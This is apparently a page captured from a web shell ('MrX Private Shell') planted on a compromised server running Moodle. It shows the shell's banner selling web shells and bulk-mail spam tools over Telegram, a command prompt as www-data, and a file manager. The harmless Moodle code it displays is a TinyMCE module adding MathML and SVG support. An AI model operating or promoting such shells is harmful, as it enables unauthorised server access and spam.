__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * TODO describe module content
 *
 * @module     editor_tiny/content
 * @copyright  2025 Andrew Lyons <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

/**
 * Add MathML support to the editor.
 *
 * @param { } editor
 */
export const addMathMLSupport = (editor) => {
    const getNodeType = (node) => {
        const style = node.attr('style');
        if (style?.includes('display')) {
            if (style.match(/display:[^;]*inline/)) {
                return 'tiny-math-span';
            }
        }
        return 'tiny-math-block';
    };


    editor.on('PreInit', () => {
        editor.schema.addCustomElements({
            // Add support for MathML by defining some tiny-math blocks which extends SPAN/DIV.
            // Note: This is blind support and does not check the child content.
            // Any invalid markup will be accepted.
            // Note: We use the same names as the Tiny Premium Math plugin to avoid conflicts if both are enabled.
            math: {
                'extends': 'div',
            },
            'tiny-math-span': {
                'extends': "span",
            },
            'tiny-math-block': {
                'extends': "div",
            },
        });

        // Add a Parser filter to wrap math nodes in a tiny-math-[block|span] element.
        editor.parser.addNodeFilter('math', (nodes) => nodes.forEach((node) => {
            if (node.parent) {
                if (node.parent.name === 'tiny-math-block' || node.parent.name === 'tiny-math-span') {
                    // Already wrapped.
                    return;
                }
            }

            const displayMode = getNodeType(node);
            node.wrap(editor.editorManager.html.Node.create(displayMode, {
                contenteditable: 'false',
            }));
        }));

        // Add a Serializer filter to remove the tiny-math-[block|span] wrapper.
        editor.serializer.addNodeFilter('tiny-math-span, tiny-math-block', (nodes, name) => nodes.forEach((node) => {
            const displayMode = name.replace('tiny-math-', '');
            node.children().forEach((child) => {
                const currentStyle = child.attr('style');
                if (currentStyle) {
                    child.attr('style', `${currentStyle};display: ${displayMode}`);
                } else {
                    child.attr('style', `display: ${displayMode}`);
                }
            });
            node.unwrap();
        }));
    });
};

/**
 * Add SVG support to the editor.
 *
 * @param {TinyMCE} editor
 */
export const addSVGSupport = (editor) => {
    editor.on('PreInit', () => {
        editor.schema.addCustomElements({
            // Add support for SVG by defining an SVG tag which extends DIV.
            // Note: This is blind support and does not check the child content.
            // Any invalid markup will be accepted.
            svg: {
                'extends': "div",
            },
            'tiny-svg-block': {
                'extends': "div",
            },
        });

        editor.parser.addNodeFilter('svg', (nodes) => nodes.forEach((node) => {
            node.wrap(editor.editorManager.html.Node.create('tiny-svg-block', {
                contenteditable: 'false',
            }));
        }));
        editor.serializer.addNodeFilter('tiny-svg-block', (nodes) => nodes.forEach((node) => {
            node.unwrap();
        }));
    });
};

Filemanager

Name Type Size Permission Actions
content.js File 4.07 KB 0777
defaults.js File 5.9 KB 0777
editor.js File 22.25 KB 0777
loader.js File 1.88 KB 0777
options.js File 4.12 KB 0777
uploader.js File 4.42 KB 0777
utils.js File 13.16 KB 0777
Filemanager